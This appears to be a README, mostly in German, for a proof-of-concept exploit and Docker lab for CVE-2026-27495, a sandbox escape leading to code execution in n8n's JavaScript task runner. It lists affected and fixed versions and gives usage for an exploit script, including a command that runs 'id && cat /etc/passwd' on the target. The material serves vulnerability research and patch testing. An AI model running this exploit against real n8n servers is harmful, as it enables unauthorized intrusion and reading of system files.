
Proof-of-concept exploit and lab environment for CVE-2026-27495
Sandbox-Escape im n8n JavaScript Task Runner durch Leck von host-realm-Objekten.
| CVE | CVE-2026-27495 |
| CVSS | 9.4 (Kritisch) |
| CWE | CWE-94 – Code-Einschleusung |
| Betroffen | n8n < 1.123.22 / 2.0.0–2.9.2 / 2.10.0 |
| Behoben | 1.123.22 / 2.9.3 / 2.10.1 |
| Angriffsfläche | Code-Knoten (authentifiziert, Task Runners aktiviert) |
docker compose up -d
Warten Sie ca. 15 s, bis n8n gestartet ist, öffnen Sie dann http://localhost:5678 und erstellen Sie ein Besitzerkonto (E-Mail: [email protected], Passwort: TestPassword123!).
pip install requests
Sandbox-Escape testen:
python3 exploit.py --probe
RCE – Kommentieren Sie NODE_FUNCTION_ALLOW_BUILTIN=* in docker-compose.yml aus, starten Sie dann neu:
docker compose down && docker compose up -d
python3 exploit.py --cmd "id && cat /etc/passwd"
Erstmalige Einrichtung (erstellt automatisch Besitzerkonto):
python3 exploit.py --setup --probe
Options:
--url URL n8n base URL (default: http://localhost:5678)
--email EMAIL Login email (default: [email protected])
--password PASSWORD Login password
--cmd CMD OS command to execute (RCE)
--setup Create owner account (fresh instance)
--probe Probe sandbox escape only (no RCE, works with any config)
--proxy PROXY HTTP proxy (e.g. http://127.0.0.1:8080)
Nur für autorisierte Sicherheitsforschung und zu Bildungszwecken.